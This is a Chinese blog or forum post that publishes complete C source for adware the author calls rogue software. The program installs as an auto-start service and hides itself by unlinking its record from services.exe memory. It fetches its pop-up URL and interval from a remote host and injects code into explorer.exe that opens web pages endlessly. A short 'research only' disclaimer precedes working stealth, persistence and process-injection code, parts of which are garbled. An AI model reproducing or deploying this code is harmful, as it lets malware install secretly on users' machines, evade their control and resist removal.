导读:
  ps:请勿用于非法用途,仅供技术研究之用。
  by:yunshu
  这个东西的主要功能就是去网上一个URL读取配置文件,拿到需要弹出的窗口以及周期时间,然后开始弹……程序安装成服务,并设置为自动启动。启动之后写入一段代码到explorer.exe进程中,也就是这里在弹网页,然后将服务停止。
  我写的代码没什么技术含量,唯一的是使用了我们team的zzzevazzz的隐藏服务代码,最开始他是发在ph4nt0m的核心区的。不过他已经在自己的blog写过,所以我发出来也没问题了。
  这个是主函数,安装,读取配置,注入代码用的。
  代码:

  1.   /**************************************************************************************************
  2.   * 1. 给XX作的流氓软件
  3.   * 2. 隐藏服务是copy的EVA的代码,修改Services.exe进程内存。
  4.   **************************************************************************************************/
  5.   #include
  6.   #include
  7.   #include
  8.   #include
  9.   #include
  10.   // 是否记录日志
  11.   //#define DEBUG
  12.   #ifdef DEBUG
  13.   #define DEBUG_LOG "c:\debug.txt"
  14.   // 日志记录函数
  15.   void LogToFile( WCHAR * );
  16.   #endif
  17.   #include "ControlService.h"
  18.   #include "HideService.h"
  19.   #include "CustomFunction.h"
  20.   #pragma comment (lib, "Advapi32.lib")
  21.   #pragma comment (lib, "Shell32.lib")
  22.   #pragma comment (lib, "ws2_32.lib")
  23.   #pragma comment (lib, "User32.lib")
  24.   #define REMOTE_FUNC_LENGTH 1024 * 10 // 拷贝的长度
  25.   #define TARGET_PROCESS L"explorer.exe" // 要注入代码的目标进程
  26.   #define CONFIG_HOST "www.icylife.net" // 读取配置信息的服务器
  27.   #define CONFIG_PATH "/url.txt" // 配置信息在配置服务器的路径
  28.   #define IE_PATH "C:\Program Files\Internet Explorer\iexplore.exe"
  29.   #define DEFAULT_URL "http://www.he100.com" // 默认弹出的窗口
  30.   #define DEFAULT_SLEEP_TIME 30 * 60 * 1000 // 默认弹出窗口的间隔时间
  31.   // 宏,转换字符串为unicode
  32.   #define MULTI_TO_WIDE( x, y ) MultiByteToWideChar( CP_ACP, MB_PRECOMPOSED,y,-1,x,_MAX_PATH );
  33.   // 弹出窗口之间的间隔时间
  34.   int sleep_time;
  35.   // 弹出的url地址
  36.   char url_path[512] = { 0 };
  37.   /**************************************************************************************************
  38.   * 函数原形
  39.   **************************************************************************************************/
  40.   void ServiceMain( DWORD, char **); //服务入口
  41.   BOOL SetDebugPrivilege( ); //获取debug权限
  42.   DWORD GetProcessIdByName(WCHAR * ); //获取进程的PID
  43.   void InjectCode( ); //写代码到远程进程
  44.   void GetConfig( ); //更新配置,获取要弹出的地址和弹出间隔时间
  45.   /**************************************************************************************************
  46.   * 程序入口,主函数
  47.   **************************************************************************************************/
  48.   int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
  49.   {
  50.   WCHAR filePath[MAX_PATH] = { 0 }; //程序本身路径
  51.   SERVICE_TABLE_ENTRY serviceTable[2];
  52.   
  53.   serviceTable[0].lpServiceName = SERVICE_NAME;
  54.   serviceTable[0].lpServiceProc = ( LPSERVICE_MAIN_FUNCTION )ServiceMain;
  55.   serviceTable[1].lpServiceName = NULL;
  56.   serviceTable[1].lpServiceProc = NULL;
  57.   GetModuleFileName( NULL, filePath, MAX_PATH );
  58.   
  59.   // 如果服务未安装,安装
  60.   if( !ServiceExists( filePath ) )
  61.   {
  62.   if( ServiceInstall( filePath ) != TRUE )
  63.   {
  64.   return -1;
  65.   }
  66.   else
  67.   {
  68.   return 0;
  69.   }
  70.   }
  71.   
  72.   if( !StartServiceCtrlDispatcher( serviceTable ) )
  73.   {
  74.   #ifdef DEBUG
  75.   WCHAR tmp[256] = { 0 };
  76.   wsprintf( tmp, L"Main StartServiceCtrlDispatcher error: %d\n", GetLastError() );
  77.   LogToFile( tmp );
  78.   #endif
  79.   
  80.   return -1;
  81.   }
  82.   
  83.   return 0;
  84.   }
  85.   /**************************************************************************************************
  86.   * 服务入口
  87.   **************************************************************************************************/
  88.   void ServiceMain( DWORD argc, char *argv[] )
  89.   {
  90.   serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
  91.   serviceStatus.dwCurrentState = SERVICE_START_PENDING;
  92.   serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
  93.   serviceStatus.dwWin32ExitCode = 0;
  94.   serviceStatus.dwServiceSpecificExitCode = 0;
  95.   serviceStatus.dwCheckPoint = 0;
  96.   serviceStatus.dwWaitHint = 0;
  97.   
  98.   #ifdef DEBUG
  99.   LogToFile( L"ServiceMain: Try to register service\n" );
  100.   #endif
  101.   
  102.   hServiceStatus = RegisterServiceCtrlHandler( SERVICE_NAME, (LPHANDLER_FUNCTION)ServiceControl );
  103.   if( hServiceStatus == (SERVICE_STATUS_HANDLE)0 )
  104.   {
  105.   #ifdef DEBUG
  106.   WCHAR tmp[256] = { 0 };
  107.   wsprintf( tmp, L"ServiceMain: Register service error: %d\n", GetLastError() );
  108.   LogToFile( tmp );
  109.   #endif
  110.   
  111.   return;
  112.   }
  113.   serviceStatus.dwCurrentState = SERVICE_RUNNING;
  114.   serviceStatus.dwCheckPoint = 0;
  115.   serviceStatus.dwWaitHint = 0;
  116.   
  117.   if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
  118.   {
  119.   #ifdef DEBUG
  120.   WCHAR tmp[256] = { 0 };
  121.   swprintf( tmp, L"ServiceMain: Start service error: %d\n", GetLastError() );
  122.   LogToFile( tmp );
  123.   #endif
  124.   
  125.   return;
  126.   }
  127.   #ifdef DEBUG
  128.   LogToFile( L"ServiceMain: Start service ok\n" );
  129.   #endif
  130.   
  131.   // 隐藏服务
  132.   HideService( SERVICE_NAME );
  133.   // 从网络读取配置
  134.   GetConfig( );
  135.   // 注入代码
  136.   InjectCode( );
  137.   serviceStatus.dwCurrentState = SERVICE_STOPPED;
  138.   if( !SetServiceStatus( hServiceStatus, &serviceStatus) )
  139.   {
  140.   #ifdef DEBUG
  141.   WCHAR tmp[256] = { 0 };
  142.   wsprintf( tmp, L"ServiceMain: Stop service error: %d\n", GetLastError() );
  143.   LogToFile( tmp );
  144.   #endif
  145.   }
  146.   #ifdef DEBUG
  147.   LogToFile( L"Stop service in main.\n" );
  148.   #endif
  149.   
  150.   #ifdef DEBUG
  151.   LogToFile( L"ServiceMain Done.\n" );
  152.   #endif
  153.   return;
  154.   }
  155.   void InjectCode( )
  156.   {
  157.   if( ! SetDebugPrivilege() )
  158.   {
  159.   #ifdef DEBUG
  160.   LogToFile( L"Set Debug Privileges error.\n" );
  161.   #endif
  162.   return;
  163.   }
  164.   DWORD dwPID = -1;
  165.   while( 1 )
  166.   {
  167.   dwPID = GetProcessIdByName( TARGET_PROCESS );
  168.   
  169.   if( -1 != dwPID )
  170.   {
  171.   #ifdef DEBUG
  172.   WCHAR tmp[256] = { 0 };
  173.   wsprintf( tmp, L"Target process id is %d\n", dwPID );
  174.   LogToFile( tmp );
  175.   #endif
  176.   break;
  177.   }
  178.   #ifdef DEBUG
  179.   LogToFile( L"Target process not found, sleep and continue.\n" );
  180.   #endif
  181.   Sleep( 30 * 1000 );
  182.   }
  183.   Sleep( 2 * 60 * 1000 );
  184.   // 打开进程
  185.   HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID );
  186.   if( ! hProcess )
  187.   {
  188.   #ifdef DEBUG
  189.   LogToFile( L"OpenProcess error.\n" );
  190.   #endif
  191.   return;
  192.   }
  193.   //计算LoadLibraryA和GetProcAddress的入口地址,这两个函数由kernel32.dll导出,在各进程中不变
  194.   Arguments arguments;
  195.   
  196.   memset( (void *)&arguments, 0, sizeof(Arguments) );
  197.   HMODULE hKernel = GetModuleHandleA( "kernel32" );
  198.   if( hKernel == NULL )
  199.   {
  200.   #ifdef DEBUG
  201.   LogToFile( L"GetModuleHandle kernel32.dll error.\n" );
  202.   #endif
  203.   return;
  204.   }
  205.   arguments.MyLoadLibrary = GetProcAddress( hKernel, "LoadLibraryA" );
  206.   arguments.MyGetAddress = GetProcAddress( hKernel, "GetProcAddress" );
  207.   strcpy( arguments.MyKernelDll, "kernel32.dll" );
  208.   strcpy( arguments.MyProgram, IE_PATH );
  209.   strcpy( arguments.MyShellDll, "Shell32.dll" );
  210.   strcpy( arguments.MyShellExecute, "ShellExecuteA" );
  211.   strcpy( arguments.MyUrl, url_path );
  212.   strcpy( arguments.MyZeroMemory, "RtlZeroMemory" );
  213.   arguments.SleepTime = sleep_time;
  214.   // 在远程进程中分配内存存放参数,可写权限
  215.   Arguments *remote_agrument = (Arguments *)VirtualAllocEx( hProcess,
  216.   0,
  217.   sizeof(Arguments),
  218.   MEM_COMMIT,
  219.   PAGE_READWRITE );
  220.   if( !remote_agrument )
  221.   {
  222.   #ifdef DEBUG
  223.   LogToFile( L"VirtualAllocEx for arguments error.\n" );
  224.   #endif
  225.   return;
  226.   }
  227.   #ifdef DEBUG
  228.   WCHAR tmp[256] = { 0 };
  229.   wsprintf( tmp, L"Remote Arguments' addr: 0x%08x\n", (DWORD)remote_agrument );
  230.   LogToFile( tmp );
  231.   #endif
  232.   // 将参数写入远程进程内存
  233.   int bytes_write;
  234.   if( !WriteProcessMemory( hProcess, (LPVOID)remote_agrument, (LPVOID)&arguments, sizeof(Arguments), (SIZE_T *)&bytes_write) )
  235.   {
  236.   #ifdef DEBUG
  237.   LogToFile( L"WriteProcessMemory for arguments error.\n" );
  238.   #endif
  239.   return;
  240.   }
  241.   // 在远程进程中分配内存存放代码,可执行权限
  242.   LPVOID remote_func = VirtualAllocEx( hProcess,
  243.   0,
  244.   REMOTE_FUNC_LENGTH,
  245.   MEM_COMMIT,
  246.   PAGE_EXECUTE_READWRITE );
  247.   if( !remote_func )
  248.   {
  249.   #ifdef DEBUG
  250.   LogToFile( L"VirtualAllocEx for function error.\n" );
  251.   #endif
  252.   return;
  253.   }
  254.   #ifdef DEBUG
  255.   memset( tmp, 0, sizeof(tmp) );
  256.   wsprintf( tmp, L"Remote Function Address: 0x%08x\n", remote_func );
  257.   LogToFile( tmp );
  258.   #endif
  259.   // 将代码写入远程进程内存
  260.   if( !WriteProcessMemory( hProcess, (LPVOID)remote_func, (LPVOID)&CustomFunction, REMOTE_FUNC_LENGTH, (SIZE_T *)&bytes_write) )
  261.   {
  262.   #ifdef DEBUG
  263.   LogToFile( L"WriteProcessMemory for function error.\n" );
  264.   #endif
  265.   return;
  266.   }
  267.   #ifdef DEBUG
  268.   memset( tmp, 0, sizeof(tmp) );
  269.   wsprintf( tmp, L"WriteProcessMemory for function %d bytes\n", bytes_write );
  270.   LogToFile( tmp );
  271.   #endif
  272.   
  273.   HANDLE remote_thread = CreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)remote_func, remote_agrument, 0, 0 );
  274.   if ( !remote_thread )
  275.   {
  276.   #ifdef DEBUG
  277.   LogToFile( L"CreateRemoteThread for function error.\n" );
  278.   #endif
  279.   return;
  280.   }
  281.   
  282.   #ifdef DEBUG
  283.   LogToFile( L"CreateRemoteThread for function ok\n" );
  284.   #endif
  285.   
  286.   /*
  287.   WaitForSingleObject( remote_thread, INFINITE );
  288.   
  289.   if( NULL != remote_func )
  290.   {
  291.   VirtualFreeEx( hProcess, remote_func, REMOTE_FUNC_LENGTH, MEM_RELEASE );
  292.   #ifdef DEBUG
  293.   LogToFile( L"VirtualFreeEx for remote_func.\n" );
  294.   #endif
  295.   }
  296.   if( NULL != remote_agrument )
  297.   {
  298.   VirtualFreeEx( hProcess, remote_agrument, sizeof (Arguments), MEM_RELEASE);
  299.   #ifdef DEBUG
  300.   LogToFile( L"VirtualFreeEx for remote_agrument.\n" );
  301.   #endif
  302.   }
  303.   
  304.   if( NULL != remote_thread )
  305.   {
  306.   CloseHandle( remote_thread );
  307.   #ifdef DEBUG
  308.   LogToFile( L"CloseHandle for remote_thread.\n" );
  309.   #endif
  310.   }
  311.   if( NULL != hProcess )
  312.   {
  313.   CloseHandle( hProcess );
  314.   #ifdef DEBUG
  315.   LogToFile( L"CloseHandle for hProcess.\n" );
  316.   #endif
  317.   }
  318.   */
  319.   return;
  320.   }
  321.   void GetConfig( )
  322.   {
  323.   #ifdef DEBUG
  324.   WCHAR tmp[256] = { 0 };
  325.   #endif
  326.   
  327.   WSAData wsa;
  328.   struct sockaddr_in sin;
  329.   memset( &sin, 0, sizeof(struct sockaddr_in) );
  330.   if( WSAStartup( 0x0202, &wsa ) != 0 )
  331.   {
  332.   #ifdef DEBUG
  333.   memset( tmp, 0, sizeof(tmp) );
  334.   wsprintf( tmp, L"WSAStartup error: %d\n", GetLastError() );
  335.   LogToFile( tmp );
  336.   #endif
  337.   
  338.   goto getconfig_error;
  339.   }
  340.   struct hostent *phost = gethostbyname( CONFIG_HOST );
  341.   if( phost == NULL )
  342.   {
  343.   #ifdef DEBUG
  344.   memset( tmp, 0, sizeof(tmp) );
  345.   wsprintf( tmp, L"Resolv config host name error: %d\n", GetLastError() );
  346.   LogToFile( tmp );
  347.   #endif
  348.   
  349.   WSACleanup( );
  350.   goto getconfig_error;
  351.   }
  352.   
  353.   memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
  354.   sin.sin_family = AF_INET;
  355.   sin.sin_port = htons( 80 );
  356.   #ifdef DEBUG
  357.   memset( tmp, 0, sizeof(tmp) );
  358.   WCHAR ip[256] = { 0 };
  359.   MULTI_TO_WIDE( ip, inet_ntoa( sin.sin_addr ));
  360.   wsprintf( tmp, L"Resolv config host name ok: %s\n",ip );
  361.   LogToFile( tmp );
  362.   #endif
  363.   
  364.   SOCKET sock = socket( AF_INET , SOCK_STREAM , 0 );
  365.   if( sock == INVALID_SOCKET )
  366.   {
  367.   #ifdef DEBUG
  368.   memset( tmp, 0, sizeof(tmp) );
  369.   wsprintf( tmp, L"Connect to %s:%s error: \n", ip, 80, GetLastError() );
  370.   LogToFile( tmp );
  371.   #endif
  372.   WSACleanup( );
  373.   goto getconfig_error;
  374.   }
  375.   int ret = connect( sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in) );
  376.   if( SOCKET_ERROR == ret )
  377.   {
  378.   #ifdef DEBUG
  379.   memset( tmp, 0, sizeof(tmp) );
  380.   wsprintf( tmp, L"Connect error: %d\n", GetLastError() );
  381.   LogToFile( tmp );
  382.   #endif
  383.   closesocket( sock );
  384.   WSACleanup( );
  385.   goto getconfig_error;
  386.   }
  387.   char send_buff[512] = { 0 };
  388.   sprintf( send_buff, "GET %s HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\n\r\n", CONFIG_PATH, CONFIG_HOST );
  389.   #ifdef DEBUG
  390.   memset( tmp, 0, sizeof(tmp) );
  391.   
  392.   WCHAR tmp2[256] = { 0 };
  393.   MULTI_TO_WIDE( tmp2, send_buff );
  394.   wsprintf( tmp, L"Send request to get config:\n %s\n", tmp2 );
  395.   LogToFile( tmp );
  396.   #endif
  397.   ret = send( sock, send_buff, strlen(send_buff), 0 );
  398.   if( SOCKET_ERROR == ret )
  399.   {
  400.   #ifdef DEBUG
  401.   memset( tmp, 0, sizeof(tmp) );
  402.   wsprintf( tmp, L"Send request error: %d\n", GetLastError() );
  403.   LogToFile( tmp );
  404.   #endif
  405.   closesocket( sock );
  406.   WSACleanup( );
  407.   goto getconfig_error;
  408.   }
  409.   #ifdef DEBUG
  410.   LogToFile( L"Send request ok!\n" );
  411.   #endif
  412.   
  413.   char recv_buff[1024] = { 0 };
  414.   recv( sock, recv_buff, 1000, 0 );
  415.   if( !recv_buff )
  416.   {
  417.   closesocket( sock );
  418.   WSACleanup( );
  419.   goto getconfig_error;
  420.   }
  421.   closesocket( sock );
  422.   WSACleanup( );
  423.   char *content = strstr( recv_buff, "\r\n\r\n" );
  424.   if( !content )
  425.   {
  426.   goto getconfig_error;
  427.   }
  428.   content += strlen("\r\n\r\n");
  429.   #ifdef DEBUG
  430.   memset( tmp, 0, sizeof(tmp) );
  431.   WCHAR c[256] = { 0 };
  432.   MULTI_TO_WIDE( c, content );
  433.   
  434.   wsprintf( tmp, L"Config content is:\n%s\n", c );
  435.   LogToFile( tmp );
  436.   #endif
  437.   
  438.   char *split_flag = strstr( content, "|" );
  439.   if( !split_flag )
  440.   {
  441.   goto getconfig_error;
  442.   }
  443.   char tmp_time[32] = { 0 };
  444.   char tmp_url[512] = { 0 };
  445.   if( split_flag - content >32 )
  446.   {
  447.   sleep_time = DEFAULT_SLEEP_TIME;
  448.   }
  449.   else
  450.   {
  451.   strncpy( tmp_time, content, split_flag - content );
  452.   sleep_time = atoi( tmp_time );
  453.   }
  454.   if( strlen( split_flag ) >= 512 )
  455.   {
  456.   strcpy( url_path, DEFAULT_URL );
  457.   }
  458.   else
  459.   {
  460.   strcpy( url_path, split_flag + 1 );
  461.   }
  462.   
  463.   return;
  464.   getconfig_error:
  465.   
  466.   sleep_time = DEFAULT_SLEEP_TIME;
  467.   strcpy( url_path, DEFAULT_URL );
  468.   return;
  469.   }
  470.   /**************************************************************************************************
  471.   * 记录日志函数
  472.   **************************************************************************************************/
  473.   #ifdef DEBUG
  474.   void LogToFile( WCHAR *str )
  475.   {
  476.   FILE *fp;
  477.   
  478.   fp = fopen( DEBUG_LOG, "a" );
  479.   fwprintf( fp, L"%s\n", str );
  480.   fclose( fp );
  481.   }
  482.   #endif
  483.   这个是隐藏服务用的,修改了services.exe文件,可能有一定的危险性。
  484.   代码:
  485.   // yunshu(pst) Copy from zzzevazzz(pst)'s code
  486.   // 几个Undocument的结构
  487.   typedef struct _SC_SERVICE_PROCESS SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
  488.   typedef struct _SC_DEPEND_SERVICE SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
  489.   typedef struct _SC_SERVICE_RECORD SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
  490.   typedef struct _SC_SERVICE_PROCESS
  491.   {
  492.   PSC_SERVICE_PROCESS Previous;
  493.   PSC_SERVICE_PROCESS Next;
  494.   WCHAR *ImagePath;
  495.   DWORD Pid;
  496.   DWORD NumberOfServices;
  497.   // ...
  498.   } SC_SERVICE_PROCESS, *PSC_SERVICE_PROCESS;
  499.   typedef struct _SC_DEPEND_SERVICE
  500.   {
  501.   PSC_DEPEND_SERVICE Next;
  502.   DWORD Unknow;
  503.   PSC_SERVICE_RECORD Service;
  504.   // ...
  505.   } SC_DEPEND_SERVICE, *PSC_DEPEND_SERVICE;
  506.   typedef struct _SC_SERVICE_RECORD
  507.   {
  508.   PSC_SERVICE_RECORD Previous;
  509.   PSC_SERVICE_RECORD Next;
  510.   WCHAR *ServiceName;
  511.   WCHAR *DisplayName;
  512.   DWORD Index;
  513.   DWORD Unknow0;
  514.   DWORD sErv;
  515.   DWORD ControlCount;
  516.   DWORD Unknow1;
  517.   PSC_SERVICE_PROCESS Process;
  518.   SERVICE_STATUS Status;
  519.   DWORD StartType;
  520.   DWORD ErrorControl;
  521.   DWORD TagId;
  522.   PSC_DEPEND_SERVICE DependOn;
  523.   PSC_DEPEND_SERVICE Depended;
  524.   // ...
  525.   } SC_SERVICE_RECORD, *PSC_SERVICE_RECORD;
  526.   BOOL SetDebugPrivilege()
  527.   {
  528.   BOOL bRet = FALSE;
  529.   HANDLE hToken = NULL;
  530.   LUID luid;
  531.   TOKEN_PRIVILEGES tp;
  532.   if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) &&
  533.   LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
  534.   {
  535.   tp.PrivilegeCount = 1;
  536.   tp.Privileges[0].Luid = luid;
  537.   tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  538.   bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
  539.   }
  540.   if (hToken) CloseHandle(hToken);
  541.   return bRet;
  542.   }
  543.   DWORD GetProcessIdByName(WCHAR *Name)
  544.   {
  545.   BOOL bRet = FALSE;
  546.   HANDLE hProcessSnap = NULL;
  547.   PROCESSENTRY32 pe32 = { 0 };
  548.   DWORD Pid = -1;
  549.   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  550.   if (INVALID_HANDLE_VALUE == hProcessSnap) return -1;
  551.   pe32.dwSize = sizeof(PROCESSENTRY32);
  552.   if (Process32First(hProcessSnap, &pe32))
  553.   {
  554.   do
  555.   {
  556.   if ( !_wcsicmp(pe32.szExeFile, Name ) )
  557.   {
  558.   Pid = pe32.th32ProcessID;
  559.   break;
  560.   }
  561.   }
  562.   while (Process32Next(hProcessSnap, &pe32));
  563.   }
  564.   CloseHandle(hProcessSnap);
  565.   return Pid;
  566.   }
  567.   // 修改内存属性为指定值
  568.   void ProtectWriteDword(HANDLE hProcess, DWORD *Addr, DWORD Value)
  569.   {
  570.   MEMORY_BASIC_INFORMATION mbi;
  571.   DWORD dwOldProtect, dwWritten;
  572.   VirtualQueryEx(hProcess, Addr, &mbi, sizeof(mbi));
  573.   VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, PAGE_READWRITE, &mbi.Protect);
  574.   WriteProcessMemory(hProcess, Addr, &Value, sizeof(DWORD), &dwWritten);
  575.   VirtualProtectEx(hProcess, mbi.BaseAddress, mbi.RegionSize, mbi.Protect, &dwOldProtect);
  576.   }
  577.   //寻×××链表
  578.   PSC_SERVICE_RECORD FindFirstServiceRecord(HANDLE hProcess)
  579.   {
  580.   WCHAR FileName[MAX_PATH+1];
  581.   HANDLE hFile, hFileMap;
  582.   UCHAR * pMap;
  583.   DWORD dwSize, dwSizeHigh, i, dwRead;
  584.   SC_SERVICE_RECORD SvcRd, *pSvcRd, *pRet = NULL;
  585.   GetSystemDirectory( FileName, MAX_PATH );
  586.   wcscat( FileName, L"\Services.exe");
  587.   hFile = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ,
  588.   NULL, OPEN_EXISTING, 0, NULL);
  589.   if (INVALID_HANDLE_VALUE == hFile) return NULL;
  590.   dwSizeHigh = 0;
  591.   dwSize = GetFileSize(hFile, &dwSizeHigh);
  592.   hFileMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
  593.   if (NULL == hFileMap) return NULL;
  594.   pMap = (UCHAR*)MapViewOfFile(hFileMap, FILE_MAP_READ, 0, 0, 0);
  595.   if (NULL == pMap) return NULL;
  596.   dwSize -= 12;
  597.   for (i=0; i  {
  598.   // 搜索services!ScGetServiceDatabase特征代码
  599.   if (*(DWORD*)(pMap+i) == 0xa1909090 &&
  600.   *(DWORD*)(pMap+i+8) == 0x909090c3)
  601.   {
  602.   #ifdef DEBUG
  603.   WCHAR tmpBuffer[256] = { 0 };
  604.   wsprintf( tmpBuffer, L"map is 0x%08x\n", (DWORD *)(pMap+i) );
  605.   LogToFile( tmpBuffer );
  606.   #endif
  607.   if (ReadProcessMemory(hProcess, *(PVOID*)(pMap+i+4), &pSvcRd, sizeof(PVOID), &dwRead) &&
  608.   ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
  609.   SvcRd.sErv == 'vrEs') // ServiceRecord结构的特征
  610.   {
  611.   pRet = pSvcRd;
  612.   #ifdef DEBUG
  613.   WCHAR tmpBuffer[256] = { 0 };
  614.   wsprintf( tmpBuffer, L"pRet is 0x%08x\n", (DWORD *)(pSvcRd) );
  615.   LogToFile( tmpBuffer );
  616.   #endif
  617.   
  618.   break;
  619.   }
  620.   }
  621.   }
  622.   UnmapViewOfFile(pMap);
  623.   CloseHandle(hFileMap);
  624.   CloseHandle(hFile);
  625.   //printf( "addr: 0x%08x\n", (DWORD *)pRet );
  626.   return pRet;
  627.   }
  628.   // 隐藏服务
  629.   BOOL HideService( WCHAR *Name )
  630.   {
  631.   DWORD Pid;
  632.   HANDLE hProcess;
  633.   SC_SERVICE_RECORD SvcRd, *pSvcRd;
  634.   DWORD dwRead, dwNameSize;
  635.   WCHAR SvcName[MAX_PATH] = { 0 };
  636.   
  637.   dwNameSize = ( wcslen(Name) + 1 ) * sizeof(WCHAR);
  638.   
  639.   if (dwNameSize >sizeof(SvcName)) return FALSE;
  640.   
  641.   Pid = GetProcessIdByName( TEXT("Services.exe") );
  642.   #ifdef DEBUG
  643.   WCHAR tmpBuffer1[256] = { 0 };
  644.   wsprintf( tmpBuffer1, L"Pid is %d\n", Pid );
  645.   LogToFile( tmpBuffer1 );
  646.   #endif
  647.   if (Pid == -1) return FALSE;
  648.   if( ! SetDebugPrivilege() ) return FALSE;
  649.   hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid);
  650.   if (NULL == hProcess) return FALSE;
  651.   pSvcRd = FindFirstServiceRecord(hProcess);
  652.   if (NULL == pSvcRd)
  653.   {
  654.   #ifdef DEBUG
  655.   LogToFile( L"Can't Find ServiceDatabase.\n" );
  656.   #endif
  657.   CloseHandle(hProcess);
  658.   return FALSE;
  659.   }
  660.   do
  661.   {
  662.   if (ReadProcessMemory(hProcess, pSvcRd, &SvcRd, sizeof(SvcRd), &dwRead) &&
  663.   ReadProcessMemory(hProcess, SvcRd.ServiceName, SvcName, dwNameSize, &dwRead))
  664.   {
  665.   // 匹配服务名
  666.   if ( 0 == _wcsicmp(SvcName, Name) )
  667.   {
  668.   // 从链表中断开(一般来说ServiceRecord是可写的,但还是先改保护属性以防万一)
  669.   ProtectWriteDword(hProcess, (DWORD *)SvcRd.Previous+1, (DWORD)SvcRd.Next);
  670.   ProtectWriteDword(hProcess, (DWORD *)SvcRd.Next, (DWORD)SvcRd.Previous);
  671.   #ifdef DEBUG
  672.   WCHAR tmpBuffer2[256] = { 0 };
  673.   wsprintf( tmpBuffer2, L"The Service \"%s\" Is Hidden Successfully.\n", Name );
  674.   LogToFile( tmpBuffer1 );
  675.   #endif
  676.   
  677.   CloseHandle(hProcess);
  678.   return TRUE;
  679.   }
  680.   }
  681.   else
  682.   {
  683.   break;
  684.   }
  685.   }
  686.   while (pSvcRd = SvcRd.Next);
  687.   if( NULL != hProcess )
  688.   {
  689.   CloseHandle(hProcess);
  690.   }
  691.   return FALSE;
  692.   }
  693.   这个是注入到explorer.exe进程中的代码,大部分参数是写内存写进去的,有少部分实在懒得搞了,用了一点汇编。
  694.   typedef struct _Arguments
  695.   {
  696.   char MyUrl[512];
  697.   char MyProgram[512];
  698.   FARPROC MyLoadLibrary;
  699.   FARPROC MyGetAddress;
  700.   char MyKernelDll[32];
  701.   char MyShellDll[32];
  702.   char MyZeroMemory[32];
  703.   char MyShellExecute[32];
  704.   DWORD SleepTime;
  705.   }Arguments;
  706.   /**************************************************************************************************
  707.   * WINAPI函数原形
  708.   **************************************************************************************************/
  709.   typedef HMODULE (__stdcall *LOADLIBRARYA)( IN char* lpFileName );
  710.   typedef FARPROC (__stdcall *GETPROCADDRESS)( IN HMODULE hModule, IN char* lpProcName );
  711.   typedef void (__stdcall *ZEROMEMORY)( IN PVOID Destination, IN SIZE_T Length );
  712.   void __stdcall CustomFunction( LPVOID my_arguments )
  713.   {
  714.   Arguments *func_args = (Arguments *)my_arguments;
  715.   
  716.   LOADLIBRARYA LoadLibraryA = (LOADLIBRARYA)func_args->MyLoadLibrary;
  717.   GETPROCADDRESS GetProcAddress = (GETPROCADDRESS)func_args->MyGetAddress;
  718.   
  719.   HMODULE h_kernel = LoadLibraryA( func_args->MyKernelDll );
  720.   HMODULE h_shell = LoadLibraryA( func_args->MyShellDll );
  721.   ZEROMEMORY ZeroMemory = (ZEROMEMORY)GetProcAddress( h_kernel, func_args->MyZeroMemory );
  722.   DWORD MyShellExecuteA = (DWORD)GetProcAddress( h_shell, func_args->MyShellExecute );
  723.   DWORD MySleep;
  724.   DWORD sleep_time = func_args->SleepTime;
  725.   __asm
  726.   {
  727.   push eax
  728.   push esp
  729.   sub esp, 6
  730.   
  731.   mov byte ptr [esp], 'S'
  732.   mov byte ptr [esp+1], 'l'
  733.   mov byte ptr [esp+2], 'e'
  734.   mov byte ptr [esp+3], 'e'
  735.   mov byte ptr [esp+4], 'p'
  736.   mov byte ptr [esp+5], '
  737.   lea eax, [esp]
  738.   push eax
  739.   push h_kernel
  740.   call GetProcAddress
  741.   mov MySleep, eax
  742.   add esp, 6
  743.   pop esp
  744.   pop eax
  745.   }
  746.   while( 1 )
  747.   {
  748.   __asm
  749.   {
  750.   push eax
  751.   push esp
  752.   push ecx
  753.   push ebx
  754.   sub esp, 256
  755.   mov byte ptr [esp], 'o'
  756.   mov byte ptr [esp+1], 'p'
  757.   mov byte ptr [esp+2], 'e'
  758.   mov byte ptr [esp+3], 'n'
  759.   mov byte ptr [esp+4], '
  760.   lea ebx, [esp]
  761.   
  762.   push SW_SHOWMAXIMIZED
  763.   push 0
  764.   push func_args
  765.   
  766.   mov ecx, func_args
  767.   add ecx, 200h
  768.   lea eax, [ecx]
  769.   push eax
  770.   
  771.   push ebx
  772.   push 0
  773.   call MyShellExecuteA
  774.   
  775.   add esp, 256
  776.   pop ebx
  777.   pop ecx
  778.   pop esp
  779.   pop eax
  780.   push sleep_time
  781.   call MySleep
  782.   }
  783.   }
  784.   }
  785.   这个是控制服务的,正常的服务程序都有的代码,流氓软件应该不接受停止服务请求。
  786.   代码:
  787.   /**************************************************************************************************
  788.   * 全局变量
  789.   **************************************************************************************************/
  790.   #define SERVICE_NAME L"LemonTree"
  791.   #define SERVICE_DESCRIPTION L"LemonTree"
  792.   #define SERVICE_DISPLAY_NAME L"LemonTree"
  793.   SERVICE_STATUS serviceStatus;
  794.   SERVICE_STATUS_HANDLE hServiceStatus;
  795.   BOOL ServiceInstall( WCHAR * ); //安装服务
  796.   BOOL ServiceUnstall( WCHAR * ); //删除服务
  797.   void ServiceControl( DWORD ); //控制服务
